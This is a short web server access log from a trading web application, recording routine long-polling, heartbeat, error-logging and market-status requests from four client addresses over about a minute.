[09/Jan/2026:10:02:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:02:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924442357 HTTP/1.1" -
[09/Jan/2026:10:02:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:02:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:02:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:02:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:02:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924447731 HTTP/1.1" -
[09/Jan/2026:10:02:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924460833 HTTP/1.1" -
[09/Jan/2026:10:02:57 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924446054 HTTP/1.1" -
[09/Jan/2026:10:02:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924447374 HTTP/1.1" -
[09/Jan/2026:10:03:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924452872 HTTP/1.1" -
[09/Jan/2026:10:03:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:03:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:03:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:03:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:03:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924465861 HTTP/1.1" -
[09/Jan/2026:10:03:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924452393 HTTP/1.1" -
[09/Jan/2026:10:03:03 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924452052 HTTP/1.1" -
[09/Jan/2026:10:03:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924457994 HTTP/1.1" -
[09/Jan/2026:10:03:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924470905 HTTP/1.1" -
[09/Jan/2026:10:03:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924457416 HTTP/1.1" -
[09/Jan/2026:10:03:09 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924458053 HTTP/1.1" -
[09/Jan/2026:10:03:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924463041 HTTP/1.1" -
[09/Jan/2026:10:03:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924475978 HTTP/1.1" -
[09/Jan/2026:10:03:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924462456 HTTP/1.1" -
[09/Jan/2026:10:03:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:03:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:03:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924464051 HTTP/1.1" -
[09/Jan/2026:10:03:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924468110 HTTP/1.1" -
[09/Jan/2026:10:03:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924481037 HTTP/1.1" -
[09/Jan/2026:10:03:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924467492 HTTP/1.1" -
[09/Jan/2026:10:03:21 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924470052 HTTP/1.1" -
[09/Jan/2026:10:03:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924473244 HTTP/1.1" -
[09/Jan/2026:10:03:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924486065 HTTP/1.1" -
[09/Jan/2026:10:03:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:03:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:03:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924472510 HTTP/1.1" -
[09/Jan/2026:10:03:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:03:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:03:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:03:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:03:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924478410 HTTP/1.1" -
[09/Jan/2026:10:03:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924491117 HTTP/1.1" -
[09/Jan/2026:10:03:27 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924476051 HTTP/1.1" -
[09/Jan/2026:10:03:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924477538 HTTP/1.1" -
[09/Jan/2026:10:03:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:03:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:03:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:03:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:03:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924483556 HTTP/1.1" -
[09/Jan/2026:10:03:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:03:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:03:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:03:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:03:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924496149 HTTP/1.1" -
[09/Jan/2026:10:03:33 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924482052 HTTP/1.1" -
[09/Jan/2026:10:03:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924482555 HTTP/1.1" -
[09/Jan/2026:10:03:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924488681 HTTP/1.1" -
[09/Jan/2026:10:03:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924501182 HTTP/1.1" -
[09/Jan/2026:10:03:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924487603 HTTP/1.1" -
[09/Jan/2026:10:03:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924488052 HTTP/1.1" -
[09/Jan/2026:10:03:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924493727 HTTP/1.1" -
[09/Jan/2026:10:03:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924506249 HTTP/1.1" -
[09/Jan/2026:10:03:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924492640 HTTP/1.1" -
[09/Jan/2026:10:03:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:03:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:03:45 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924494052 HTTP/1.1" -
[09/Jan/2026:10:03:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924498842 HTTP/1.1" -
[09/Jan/2026:10:03:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924511304 HTTP/1.1" -
[09/Jan/2026:10:03:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924497678 HTTP/1.1" -
[09/Jan/2026:10:03:51 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924500052 HTTP/1.1" -
[09/Jan/2026:10:03:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924503961 HTTP/1.1" -
[09/Jan/2026:10:03:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924516376 HTTP/1.1" -
[09/Jan/2026:10:03:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:03:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:03:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924502696 HTTP/1.1" -
[09/Jan/2026:10:03:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:03:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:03:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:03:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:03:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924509106 HTTP/1.1" -
[09/Jan/2026:10:03:57 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924506052 HTTP/1.1" -
[09/Jan/2026:10:03:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924521445 HTTP/1.1" -
[09/Jan/2026:10:03:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924507717 HTTP/1.1" -
[09/Jan/2026:10:04:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:04:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:04:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:04:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:04:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924514267 HTTP/1.1" -
[09/Jan/2026:10:04:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924526466 HTTP/1.1" -
[09/Jan/2026:10:04:03 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924512051 HTTP/1.1" -
[09/Jan/2026:10:04:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924512760 HTTP/1.1" -
[09/Jan/2026:10:04:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924519321 HTTP/1.1" -
